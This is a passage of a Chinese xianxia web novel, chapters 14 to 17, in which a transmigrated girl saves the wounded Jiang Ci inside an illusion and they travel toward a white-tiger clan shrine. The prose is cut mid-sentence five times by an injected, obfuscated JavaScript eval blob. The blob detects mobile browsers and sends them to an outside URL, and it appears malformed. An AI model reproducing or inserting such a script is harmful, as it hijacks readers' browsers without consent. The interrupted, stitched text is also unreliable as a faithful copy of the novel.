察觉到在自己身上到处翻找的那只手,姜辞几乎是本能地避了避,但显而易见,他这样细微的反应并没有被虞知鸢察觉。 他不知道虞知鸢要做什么,也无法躲开她的碰触,只能庆幸她好歹是不哭了,总算得以让他耳边清净了些。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829680|158902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而后他便感觉到一股细腻温热的触感落在他两颊边。 虞知鸢掰开了他的嘴,将找到的聚灵丹一股脑全塞了进去。 姜辞本能地将那东西吞了进去,渐渐的,经脉中方才几乎散尽的灵力稍稍凝聚了些,原本已经麻木的伤口也开始叫嚣着疼痛。 姜辞不怕疼,甚至很习惯疼痛,但仍控制不住额头渐渐渗出冷汗。 虞知鸢喂完丹药,环顾四周后,终于在一片冰晶藤蔓中看到一块略平坦的大石头。 他们要在这里等人来救,相比于潮湿的滩涂,那块大石头显然更适合姜辞休息。 只是石头四周都围绕着冰晶藤蔓,虽靠近滩涂这一侧藤蔓要少一些,若是一个成人兴许还能直接跨过去,换做她现在的小孩子身体,少不得要多走几步。 而那冰晶藤蔓丛显然不是好走的,她如今又是个细皮嫩肉的…… 好在这一个月间她已经恢复了进入问心阵之前一半的修为,刚才随波漂流时也攒了些力气,要大片毁掉这些冰晶藤蔓做不到,清理出一条供她走到大石头的路应该还是可以的。 她抬手捏了个法诀,不多时,一道灵力在她掌中凝聚,随着她指尖轻点,倏然袭向那一丛冰晶藤蔓。 “成了!” 欣喜的语气在看到无数尖利的冰刺从他身体周围的地面破土而出,用一种缓慢的速度,带着傲慢的姿态,一点一点吞噬掩埋掉那处才清理出来的小路时,化为一声懊恼的咒骂。 这些冰晶藤蔓也不知道到底是什么品种,看上去像是拥挤着从地底刺穿出来,坚硬无比。 要不还是算了? 虞知鸢方才生出一点退却的心思,然而在她的目光触及到姜辞那张惨白至极的脸时,又忍不住自个儿气闷。 明明应该是她来保护她的,她却为了救自己伤成这样…… 最重要的是她不能死啊,她要是死了,这问心阵大概率就破不了了,而她也可能会因此而一辈子被困在这里…… 不管了,不就是几根破藤子吗,有什么难的! 她重新结印,趁那些藤蔓还没完全长好,又一次将路清理了出来。 而后迅速以仅剩的灵力把姜辞稍稍脱离地面,往大石头的地方跑去。 预想中跑到一半脚底就被冰晶藤蔓刺穿的画面并没有发生。 等虞知鸢一口气爬上石头,再回望来时路时,竟发现方才被毁掉的藤蔓这时才将将冒出头来。 这是怎么回事?莫非它的生长速度会随着被毁掉的次数而变慢? 虞知鸢抹掉额头上因过度使用灵力而渗出的汗珠,抬眸打量着那丛重新生长起来的冰晶藤蔓。 这时眼角余光忽然捕捉到一抹晶莹柔和的光,她一顿,视线立刻转了过去。 那是一个表皮布满了细密冰凌的雪球,通体雪白,里头有像是液体一样的淡淡银光流动,底部则和冰晶藤蔓的一根枝条相连,应当是由冰晶藤蔓上长出来的果子。 是……冰魄果! 虞知鸢眼睛一亮。 冰魄果可是用来治火毒的好东西,她刚才还担心外面的人万一来晚了,姜辞身上的火毒再入了经脉,届时想要根除恐怕还得费一番功夫。 现在好了,真是才打瞌睡就送来个枕头——正正好! 14. 第 14 章 矩阵一成,阵内雷光暴闪,人眼来不及见的疾雷劈下,数条隐隐约约的银线从阵内浮现。 以谢沉舟为首的数名弟子掐破指尖,滴血于丝线上。 倏地,银丝发出万丈光芒,亮得叫人几乎睁不开眼,待光亮一闪而过,又恢复发丝细的银线,开始往中间收缩。 骇人的灵力压迫之下,暴躁怒吼的赤焰狮不得不伏倒在地,被矩阵牢牢束缚。 族老紧跟着立即在空中画出符印,符印一出,便又在赤焰狮身上加了一道保险。 众人见状,皆是长舒一口气。 此时族老的脸色却阴沉了下来:“赤焰狮一直被看押在后山禁地,今日怎会突然打破封印冲出来?” 弟子们相互看看,一时也摸不着头绪。 这赤焰狮多年前曾是姜氏的护山灵兽,可八年前也不知道发生了什么事,赤焰狮忽然狂化,力量大增,在差点毁了半个学宫后才由几位族老和家主一起联手将其封印。 也亏得过去这么些年,赤焰狮的力量衰退许多,否则光凭他们几个弟子,就算是借助了困妖矩阵,也是压根困不住它的。 这时遥光忽然动了动唇,身旁的人却猛地拉了一下他的袖子,而后先他一步禀告道:“族老,此事可否等回去之后再详查?我方才过来时瞧见少主和小师妹遭到了赤焰狮攻击,少主似乎受了伤,眼下要紧的恐怕还是要尽快找到少主。” 这话一出,族老的眉头皱得更紧了。 赤焰狮当年狂化后实力已接近二级妖兽,虽如今力量衰退许多,力量仍旧不可小觑,况且赤焰狮身上本就带火毒…… “留下两人随我看守赤焰狮,其余人去找少主。” 弟子们立即四散开来。 遥光跟住了谢沉舟,一起往被姜辞砸出的洞口走去。 “师兄为何不让我说?我明明看见是姜煜他偷偷摸摸……” “没有不让你说。”谢沉舟避开地上的碎石,低声道:“只是这事不该是你第一个说出来。” 遥光平时是有些不着调,但脑子还是灵活的,很快也明白了谢沉舟的意思。 “也是,姜煜毕竟是姜氏旁系,我们这些异姓弟子又算什么?”他叹了声,目光在山洞中逡巡一圈,喃喃道:“我方才好像是瞧见小师妹往这山洞里跑了,怎的不见人。” 山洞内光线昏暗,隐约可见洞内藤蔓漆黑如墨,纠缠弯绕,茂盛的枝叶几乎将整个山洞都塞满了。 遥光弯着腰跨过一根伏在地面上,几乎比他人还要粗的藤条,啧啧称奇:“这是什么藤,竟然能长这么大。” 话音未落,看到地上有什么东西一闪。 “是小师妹的通信玉牌。”遥光捡起玉牌,冲谢沉舟晃了晃,“他们肯定在这里。” 然而一直等他们走到山洞尽头,也没找到姜辞和虞知鸢的影子。 /// 虽然发现了冰魄果,可怎么摘到手又成了问题。 虞知鸢尝试着刚才的法子,用灵力清理出来一条路,可试了好几回,冰晶藤蔓依旧长得飞快,她一咬牙,想着要不就直接冲过去得了,但这份本就不强的决心,在看到一条从暗河中蹦出的鱼被快速蠕动的藤蔓上的冰刺直接刺穿后,立刻烟消云散。 她捧着脸蹲坐在姜辞身边,一边观察四周,一边努力去想问题到底出在哪里,而后便注意到姜辞身上淌出的血混着水,顺着大石块流了下去。 在服过聚灵丹后,姜辞身上的伤口已经止住了一部分血,流出的血水也不多,但血水流下去的地方,肉眼可见有极小的一块地方没有长冰晶藤蔓。 是本来就没有吗? 还是…… 虞知鸢目光落在姜辞的伤口上,少顷,她忍着触碰血肉的怪异感,用指尖沾了一点姜辞的血,又将手指往大石头下的冰晶藤蔓中探去。 那一小丛冰晶藤蔓微微一颤,竟然真的往后缩了缩,虽然没过多久就又围拢了过来,但已经可以证明,这些藤蔓似乎惧怕姜辞的血,或者说,是惧怕姜氏一族的人。 不管是哪一种,对她来说都是好事。 虞知鸢看看闭眼昏睡着的姜辞,看看冰晶藤蔓,又转回来盯住了姜辞的伤口。 她砸了咂嘴,最终在戳破姜辞的伤口取血,还是耗费她几乎约等于没有的灵力,带着姜辞一起过去二者中,选择了在姜辞身上重新划一剑。 于是姜辞很快感觉到虞知鸢开始掰自己拿剑的那只手。 是要他的剑吗? 他下意识地松了松手指。 “姜辞,你可别怪我,我保证就疼一下下就好,很快就过去了。” 软糯还带着些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829681|158902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许鼻音的声音在他耳边响起,却没来由地让他心中一窒。 她要杀他? 所以刚才她是在试探他? 所以…… 是一直在演戏吗? 剑锋缓缓逼近。 他的思绪异常冷静,只是忽然觉得冷,很冷,比那日在雪夜中练剑还要冷。 她可以像别人一样厌恶他,可为什么要骗他呢? 为什么,要像他们一样骗他呢? 他蜷了蜷指尖,暗暗催动手上的灵力,不妨一只温软的手突然握住了他的。 他一个恍神,方才凝聚的灵气也倏然消散。 身旁的人却无知无觉,还在用稚气的嗓音唤他:“姜辞,我来了啊。” 话音落下的同时,手臂上一阵皮肉被划开的刺痛。 随即剑也“咣当”一声落到了地上。 鲜红色的血液顺着姜辞的手臂流淌出来,又慢慢漂浮到空中,变成一阵殷红色的血雾。 “幸好前几天学了控水术。”虞知鸢对自己的杰作很满意,替姜辞草草止了血,便驱动着血雾往冰魄果的方向飘去。 如她所料,血雾还未靠近,那些冰晶藤蔓便开始退却,而血雾一旦飘远,冰晶藤蔓便又恢复了原状。 虞知鸢就这么借着水雾的掩护,顺利到了冰魄果所在的位置。 靠近了,更能清晰地看到冰魄果外皮上密密麻麻而又尖利的冰刺。 她伸出的手在即将触碰到冰魄果时顿了顿,改为用灵力将果子摘下再托回去。 幸好这冰魄果整个连皮带肉都还没她拳头大,一路托回去也不费多少灵力。 原路返回后,虞知鸢又用灵力在冰魄果上戳了个洞,里头犹带着寒气的液体滴入姜辞唇间,随着汁液渐渐流尽,果皮上的冰刺也瘪了下去。 果皮也没浪费,拿石头捣烂,敷到被赤焰狮抓出的伤口处。 忙完这些,虞知鸢便抱着腿缩在了姜辞身侧。 能做的都做了,她也没办法拖着姜辞从水里游回去,接下来也就只能等人来救他们了。 一安静下来,虞知鸢很快就有些意识模糊了,也就没有注意到,服下冰魄果不到半炷香的功夫,姜辞面上的青黑之色便渐渐消退,取而代之是苍冷的白,嘴唇虽依旧毫无血色,气息却是越来越平稳。 15. 第 15 章 虞知鸢是被一道温柔的声音唤醒的。 她眨了眨眼,发现自己又站在了那个种满瓜果蔬菜的小院中。 站在她身前不远处的是一个身穿淡绿绸衫的年轻女子,瞧着约摸二十七八岁年纪,唇若点樱,眉如墨画。 远处夕阳摇摇欲坠。 一缕缕橙色的阳光由叶隙中碎碎落下,在她衣裳间镶上薄薄碎亮,说不出的柔媚细腻。 见虞知鸢看过来,她停下采撷果实的动作,走到虞知鸢身前半蹲下身子,柔声道:“阿娘摘完果果就给阿鸢做饼吃,阿鸢先回屋等阿娘好不好?” 虞知鸢还没弄清楚是什么情况,下一瞬只觉得鼻子一酸,眼中已经不由自己控制地泛起了热意。 女子见状不由慌了神,放下手中竹篓,轻轻将虞知鸢搂入了怀中。 “阿鸢怎么了,是身体不舒服吗?阿娘不摘果果了,陪阿鸢回屋好不好?阿鸢不哭。” 她刻意放柔了声音,那语气里的温柔,就像是随波漾开的水纹,缓缓的,一圈圈漾入人心。 虞知鸢咬紧了唇,却丝毫无法控制住从嘴里溢出的委屈鸣咽声,眼泪一串串从眼眶里滑落,就连心脏也一阵一阵的闷疼。 姜辞实在没想到她睡着了竟然还在哭。 是为了他吗? 他不自觉地放轻了声音,想告诉她他没事了,却在张嘴时犯了难。 她除了在那日喊过他一声“师兄”,后头的日子里便一直叫他的名字,他若是喊她“师妹”,会不会太生疏了些? “阿……鸢。” 他记得那日谢沉舟也是这么唤她的,所以他这么叫她应该也没有问题吧。 第一声喊出口,接下来便顺口了许多。 “阿鸢,阿鸢醒醒。” 虞知鸢知道自己是在做梦,还是个像电视连续剧一样,有剧情发展的梦。 所以当她再一次睁开眼,看到面前的姜辞时也没有太过诧异。 啊,不,还是有点诧异的。 “你醒了?”她两眼晶莹,出口的声音却仿佛都带着被眼泪浸透的湿润,“太好了,那你应该不会死了。” 虞知鸢的目光灼热,姜辞都被她盯得有些不自在了。 姜辞掀了掀眼皮:“你……为什么要救我?” 他久未开口,声音干哑晦涩又虚弱。 虞知鸢愣了好一会儿才反应过来他说的是什么。 因为救她是她的任务啊。 但她当然不可能这么说啦。 虞知鸢想了想,嗓音柔软道:“因为你也救了我啊,要是没有你,我肯定就被那头坏狮子一爪子挠死了。”说到这她顿了顿,又小声补充道:“再说了,我也不想你死,我想你活着。” 你活着,我才能活着啊! 乍然听见这句话,姜辞抬眸朝虞知鸢望去。 她正目不转睛地看着他,眼底一点盈盈而动的碎光,欲落不落的。 姜辞有一瞬间的怔愣,而后他终于意识到一件事—— 她好像……很担心我? 是的,她担心得连梦里都在为了我哭。 姜辞意识到这一点,觉得自己的心尖好似被什么不轻不重地揉了下。 他敛下眼皮,却有一双白嫩的小手伸到了他眼皮子底下。 “饿了吧,昨天的桂花糕,只剩两块了,我包在油纸里的,没被水浸湿哦。” 见姜辞不动,她又往他眼前递了递,“喏,我们一人一块。” 姜辞低垂着的眼眸里情绪慢慢变浓。 只剩两块也要分给他一块吗? 她果真很关心我。 洞中不知日夜,唯有满天霞光犹在。 一块桂花糕显然填不饱虞知鸢的肚子,她三两下啃完,翻了个身,像块煎饼似的摊开在石头上,有气无力道:“他们怎么还不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829682|158902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来找我们啊。” 就算赤焰狮再怎么难对付,也不可能过了这么久还没抓住吧。 被姜辞砸出的那个洞口又那么明显,而地面通往暗河的洞口离山洞口也不算远,怎么就到现在都还不来呢? 虞知鸢才抱怨完,鼻尖就又闻道了一股淡淡的桂花味。 她定睛一瞧。 这不是桂花糕么,怎么还有? “吃吧。” 姜辞的嗓音仍旧沙哑。 她就坐在她边上打坐,发丝凌乱,嘴唇已经干得起了皮,身上的衣衫也早已被血浸透,瞧着好不狼狈,但她朝她望过来的那双眼睛里却仿佛多了些什么,不再像之前那般死气沉沉。 虞知鸢瞧了瞧她,又看看她手里捏着的桂花糕,忽然撑起上半身,质问道:“你自己怎么不吃?你不是说了我给你的东西你都会吃吗?你骗我?” 姜辞当然没说过这话,但他之前就是这个意思啊,所以虞知鸢质问得理直气壮。 她瞠着圆溜溜的眼睛瞪了他一眼,很想表现出一点凶悍的架势,可惜身上实在是没什么力气,也就作罢了。 但姜辞的神色仍是不由地僵住了片刻。 他很不喜自己“被骗”,但此时自己却成了虞知鸢嘴里那个骗她的人,他又不善言辞,嘴巴张张合合好一会儿,才小声道了句:“我没有。”而后又更小声地补充道:“我已经可以辟谷了,不吃也没关系的。” 嗯,是个老实人啊。 只是这话怎么听上去好像还委屈巴巴的? 虞知鸢在心里给姜辞贴上了一个“老实人”的标签,这才从姜辞手里接过桂花糕,道:“那仅此一次哦,下回不准再骗我了。” 而后便毫不客气地将桂花糕一整个塞进了嘴里,撑得腮帮子都鼓鼓的。 姜辞见她吃东西都一副摇头晃脑的模样,忽然觉得她有些可爱。 嗯,是很可爱。 16. 第 16 章 姜辞嘴角轻轻勾下,这才道:“这个地方被设了禁制,他们找不过来。” 虞知鸢这会儿正跟嘴里的桂花糕奋斗,一时没注意姜辞说了什么,等到反应过来,立刻侧眸疑惑地看向了姜辞。 有禁制是她之前发现通信玉牌用不了时就猜到的,但怎么会找不过来呢? 他们出事的地方在学宫后山,落入暗河后水流其实并不太湍急,漂的应当也不远,理应还在后山的范围内啊。 何况姜氏学宫里好几个族老,还有那个姜朝晖,修为都已经到了金丹期,难道连自己家族范围内的禁制都破不开吗? 桂花糕还没吞进去,她呜呜呀呀的,一时也没说明白话,但姜辞只听她嘴里蹦出的几个字也知道她大概在问什么。 他侧眸望向那一片仿佛无边无际的冰晶藤蔓,须臾,一双眼眸重新变得无悲无喜,“这里应该是在曾经供奉姜氏先祖的祖祠范围内。” 那就更不对了啊,既是祖祠,姜家那些族老就更应该能进得来才对啊。 姜辞的声音淡淡:“祖祠是姜氏一族的重地,这里的禁制皆是由姜氏先祖所设,除非拥有足够强的姜氏血脉的力量,否则没人能破开禁制。” 这么说的话她就明白了,换言之,就是身为女主的姜辞拥有足够的血脉之力,而其他人的血脉之力都太弱了,所以进不来呗。 至于姜辞的血脉之力为什么强?那当然因为她是女主啊,身为女主,总是要有那么些与众不同之处的。 虞知鸢想到这里,突然“啊”了声:“那我怎么能进来的?” 她不知道姜氏的血脉有什么特别之处,书里也没有提起过,但她还是记得自己是姓虞的,原身的生身父亲,是凌云宗那个高高在上的宗主大人,所以自己也不可能是姜氏流落在外的血脉…… 等会儿…… 她能确定的是原身的身体,可不是这具出现在姜辞的心魔中的小萝卜头,该不会…… 该不会她和姜辞现在是亲姐妹吧?!? 虞知鸢想到这脑子都麻了一下,很快就在又在脑海中勾勒出了数个狗血凄美的爱情故事…… 姜辞不知道她心中所想,实际上他也不明白她为何能进来这里,或许是因为他无意间破开了禁制,而她凑巧赶在禁制自我修复前就跟了上来吧。 他从冰晶藤蔓丛中收回视线,道:“我们只能自己想办法找到出去的路。” “出去的路?”虞知鸢收回发散的思绪,问道:“我们是从暗河里漂过来的,要再游回去吗?” 姜辞摇头:“此地的禁制可进行自我修复,即便我们按原路返回,恐怕也找不到进来的那个洞口。” “那我们要去哪里找路?” 姜辞指了指冰晶藤蔓的另一边,“我曾经在祖祠附近看见过这种冰晶藤蔓,只要能找到祖祠,我就能带你出去。” 唔? 虞知鸢眼珠子骨碌碌一转,“你之前就去过祖祠?” 姜辞眸色一黯,低低应了声。 却听身旁的小姑娘忽然脆生道:“那太好了!我们这就走吧。” 话音未落,她已经手脚麻利地爬了起来,还抬手在额前搭了个棚:“但是这片冰晶藤蔓好大啊,都看不到边,我怕你的血不够用诶。” 姜辞:“???” 什么血? 片刻后,虞知鸢站在石头上,看着石头下的冰晶藤蔓因为姜辞的靠近而纷纷往旁边退却,干巴巴地道歉:“那个,对不起啊姜辞,我不知道……” “不用对不起,是我应该谢谢你,若不是你采到了冰魄果,我现在恐怕已经回天乏术了。”姜辞转回身看向虞知鸢,眸光动了动,“多谢阿鸢救我。” 姜辞之前并不这样唤她。 他要么不搭理她,要么便是冷冰冰喊她“师妹”,哦,也叫过她“师姐”。 虞知鸢顿了下,也察觉到了其中不一样的地方。 不过眼下最要紧的还是赶紧走出这片冰晶藤蔓,她便也没再往下深想。 她从石头上滑下去,因为害怕离开姜辞远了那些藤蔓还会长出来,便拽住了姜辞的衣袖。 冰晶藤蔓对姜辞敬而远之,对虞知鸢却是蠢蠢欲动,她亦步亦趋跟着姜辞往前挪动,最后如同背后灵一般,几乎贴到了姜辞身上。 一路有惊无险。 待到出了冰晶藤蔓丛,出现在虞知鸢眼前的又变成了另一番景象。 瑰丽的霞光在头顶翻涌,无数颜色交替融合着,地面上不知名的红叶树木,开着红色小碎花,落叶飘坠,逐渐堆叠而成的漂亮色泽,组成一副堪称梦幻般的美景。 而在这副美景的最深处,一座金砖碧瓦的宫殿也缓缓露出了自身宏伟的轮廓。 虞知鸢跟刘姥姥进大观园似的,看得眼睛都直了。 “你们姜家可真有钱啊!” 是的,是“你们姜家”,因为她已经可以确定,连冰晶藤蔓都敢欺负的自己,绝对不可能有姜氏血脉。 至于她为什么能进到这地方来,或许就是因为法器星移吧。 毕竟这只是姜辞的心魔,而不是真正的,现实中的姜氏祖祠。 虞知鸢打量着远处的宫殿,一转眼发现姜辞不知什么时候竟然落在了自己后面。 她停下脚步回头,这才发现姜辞脸色不太对,原先已经慢慢有了血色的脸重新变得苍白,额头上都已经泛出了一层细密的冷汗。 她讪讪摸了摸鼻子。 自己真是太马虎了,姜辞身上的火毒虽然已经解了,但被赤焰狮抓出来的五个爪子洞可是实打实的啊。 这样重的伤若是放在凡人身上,哪怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829683|158902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有火毒,恐怕也早去见了阎王了,姜辞能看上去像没事人一样走这么远,那肯定是硬撑着的啊! 这小可怜,怎么累了也不跟她说一声呢。 但一想到书里姜辞美强惨的坚强女主人设,虞知鸢立刻表示:没关系,你做你的美强惨,但我现在可是个娇滴滴的柔弱小女孩。 她“噌”地一下迈腿跑到姜辞身边,两只小短手抱住她胳膊,仰着小脸道:“姜辞我累了,我们休息一下吧。” 小姑娘细白的手指攥着他的袖子,乖巧地仰着脸,潋滟漂亮的眸子眯着,像只柔软又粘人的小猫。 姜辞怔了下。 这双眼睛,他是不是之前见到过? 虞知鸢拉着他在一处堆叠着厚厚落叶的地方坐下,看他满头的汗,又想凑上去替他擦。 淡淡的梅香合着一股奶味缭绕过来,似有若无的鼻息落在他脸颊上。 姜辞心中那块柔软的地方禁不住泛起一种更为怪异的感受。 他心脏不由自主地一跳,下意识微微往后仰了仰,躲开了她的手,语气生硬道:“我没事,你休息吧。” 虞知鸢看出来他似乎并不习惯别人对他的亲近,又想起这一个月,姜朝晖和姜辞那个从未现身的母亲竟都是一眼都没来瞧过他,更是替姜辞觉得委屈。 多好的女主啊,又努力又老实,还那么能吃苦,这一双父母,怎么能因为他是女孩就这么厌弃他呢! 不过姜朝晖似乎没有娶妻? 那姜辞难道和她一样,也是个私生女?或许也和她一样,母亲早早便过世了? 虞知鸢想了想,仍是忍不住问他:“姜辞,你除了家主,还有别的亲人吗?” 姜辞眸光一颤,不知她为何问起这个。 “我不是说学宫里那些姜氏旁系血脉的弟子,我指的是……”虞知鸢顿了顿,触到姜辞的目光,“你的母亲”四个字便怎么也说不出口了。 万一真如她所想,那她这么问不是戳人家伤口吗?就算不是,那能个把月都不来看自己孩子的,多半也不是个好母亲。 “算了算了,不说这些了。”虞知鸢摆摆手,闭上了眼:“还真有些累了。” 姜辞沉默许久,就在虞知鸢睡意来袭,以为这个问题已经过去的时候,淡淡的嗓音忽然响起。 “我的母亲,她不喜我。” 虞知鸢迷迷糊糊应道:“嗯,我想也是。不过你不用难过,以后有我喜欢你……” 喜……欢? 她喜欢他? 姜辞面上依旧没有什么表情,只有漫天柔和的霞光,落在他的面庞上。 半晌,他才低低应了声:“嗯。” 虞知鸢没应声。 姜辞侧眸一看。 小姑娘脑袋一栽,身子歪在落叶上,睡着了。 17. 第 17 章 这一觉不知睡了多久。 层叠的流彩霞光缓缓褪去,隆隆的轰鸣声陡然响起,像是有什么东西正在拔地而起。 虞知鸢是被晃醒的,姜辞却是出自警惕本能一下惊醒的。 “起来。”话音落下的同时,他已经一把抓住了虞知鸢的手,将她护在了身后。 虞知鸢睡眼惺忪,猛地被这么一拉一拽,重心不稳,险些以姜辞为圆心画了个圈儿。 姜辞:“……” 待到稳住身形,视线也完全恢复了清明,她方才看清楚四周的景象正在发生变化。 周遭原先只有两人高的红叶树转眼成了遮天大树,不远处的大地硬生生像两边分裂开,一条小溪陡然出现,像是被灌入了无穷无尽的水,溪水卷起水花,转瞬之间变成了一片湖泊。 将他们和那遥遥在望的祖祠隔作两边。 虞知鸢眼前一晃,只觉突然一阵晕眩,耳边的风声一变,多了竹叶的沙沙声。 定神一瞧,他们两人已身在一片红叶竹林中。 “这是怎么回事?”虞知鸢怔了下,喃喃问道。 姜辞:“是千迷阵,跟着我走。” 顾名思义,千迷阵便是一种使人迷失其中的阵法,有些小宗门会将其用作护山阵,但如这般变化无穷,如同蕴含了万物初始新生的千迷阵,在修真界中也几乎没有出现过。 姜辞话音刚落,脚下的大地陡然拔地而起,像是化作了高山,直直通往天际,甚至漫天霞光都已近在眼前。 虞知鸢正瞧得新奇,霞光中蓦然出现一片星海,星子微弱的光芒逐渐变得明亮,形成一片刺目耀眼的光幕,几乎划破她的眼。 正觉眼睛微微胀痛,忽然一双微凉的手覆了上来,遮住了这无边星光。 “闭眼。” 虞知鸢乖乖阖眼。 细密的长睫微微颤抖,扫过姜辞的掌心,有些痒。 姜辞捂着她眼睛的手一顿,确认虞知鸢没有再睁开眼后,很快又面无表情地转回了视线,凝神望向那片灼目星光中的宫殿。 只那只覆在她眼睛上的手,依旧没有离开。 不知过了多久。 “还没好吗?”虞知鸢一边问,一边伸手去扒拉他的手。 肌肤相触,姜辞眼皮一跳:“……好了。” 小姑娘白皙的指尖搭在他的手背上。 她扣住他的手,用力捏了捏:“嗯?” 好了怎么还挡着呢? 姜辞这才回过神,垂眸盯着虞知鸢的指尖看了一瞬,而后飞快地抽回了手。 他觉得自己变得很奇怪。 只是这种奇怪的感觉来得突然又莫名,他一时寻不到来路。于是他便只作不知。 那厢虞知鸢睁开了眼。 出现在她眼前的是一条玉石铺就的台阶,台阶尽头坐落着一座巍峨恢弘的宫殿,朱红色漆立柱十步一隔罗列而立,绵延共有十二,其上是沉沉的庑殿顶,正脊平直而长,两头各卧着一座生着翅膀的…… 老虎石雕? 老虎怎么会长翅膀? “那是四灵之一的白虎。”姜辞观察片刻,自宫殿上收回目光,骤然出声道。 虞知鸢这才发觉自己无意识中把心里的疑问念叨了出来,她倒也不觉得自己没文化。 四灵嘛,青龙、白虎、朱雀、玄武,她当然是知道的,只是一时没往这方面去想,毕竟四灵都是上古神兽,而她要是没记错的话,在这个故事的世界设定中,四灵早在万年前便已陨落,修真界中留下的记载也寥寥无几。 却不曾想,在姜氏祖祠里竟能看到四灵之一白虎的雕像。 虞知鸢抿抿唇,若有所思。 别的不说,姜家先祖若只是敬重四灵神兽,为何不在祖祠上将青龙、朱雀和玄武一起雕上去,却独独只雕了白虎? 姜辞注意到的神情,也并没有向她隐瞒,淡淡道:“姜氏一族确实是四灵之一白虎的后代。” 果然! 虞知鸢忍不住惊叹:“这也太厉害了吧。” 之前姜辞提到血脉之力的时候,她还不明白姜氏的血脉有什么特殊的,却原来人家是神兽白虎的后代,那可不就特殊了么。 不,不只是特殊。 白虎哎,长翅膀会飞的老虎哎,一听就很厉害嘛。 而姜辞拥有这样厉害的血脉,那她一定也很厉害。 综上所述,现在她旁边这个,应该是个万足金的金大腿啊! 老天爷都把这么纯的金大腿送到她眼前了,她要是再不抱,简直天理难容! 姜辞见她忽然眼睛亮晶晶地看向他,一张挂着谄媚笑容的柔软脸庞还十分有存在感地往他眼前凑了凑。 像极了一只正在邀宠的小猫。 一刹那间,姜辞觉得自己心下某个地方,好像也变得柔软了些。 他抬起手,轻轻抚了抚她的下巴。如同逗猫一般。 虞知鸢:“???” 虽然明知道自己现在只是个小萝卜头,姜辞也没比自己大多少,但这两具小孩子的身体里装的毕竟是成人的灵魂。 这样的动作,或许身在心魔中的姜辞不觉得有什么,对虞知鸢来说,却实在有一种像是被挑逗的暧昧。 这个想法一冒出来,虞知鸢就在心里狠狠拍了拍自己的脸。 清醒点清醒点,大家都是女人,你怎么能这样瞎想…… 幸好姜辞很快收回了手。 他走在前头,带着虞知鸢踏上台阶。 “没有你想的那么厉害。” 虞知鸢的眼睛正忙着四处打转,听到声音思绪顿了下,才反应过来姜辞是在回应她刚才的话。 他是在说白虎的血脉不厉害吗? 姜辞像是看出了她的疑惑,接着道:“或许很久以前,姜氏最早的,拥有纯粹白虎血脉的先祖是很厉害,但上万年时间过去,血脉的力量也在一点点减弱,到现在,哪怕是姜氏直系血脉的子女,也只是比普通修士稍多了些修仙天赋罢了。” 而终有一日,就连这些天赋都会消失,姜氏的血脉终究会变得平平无奇,而姜氏一族也会彻底变成普通人。 虞知鸢点点头,表示可以理解。 血脉要传承,家族就必须繁衍,而繁衍就意味着血脉会被不断稀释,减弱。 “虽然有点可惜,但也不见得白虎的血脉之力就是最厉害的,我相信就算不借助血脉之力,你将来也一定会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829684|158902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成为修真界顶顶厉害的人。” 姜辞闻言,禁不住地喃喃出声:“不借助血脉之力……” “对啊。”虞知鸢朝他甜甜一笑:“姜辞以后一定会变得很厉害很厉害,然后飞升成仙的。” 姜辞却没有应声。 或许是因为年纪还小吧,她的口吻天真烂漫,话中更是带了一分未经世事的简单纯粹,似乎是真的觉得白虎血脉之力没有那么重要。 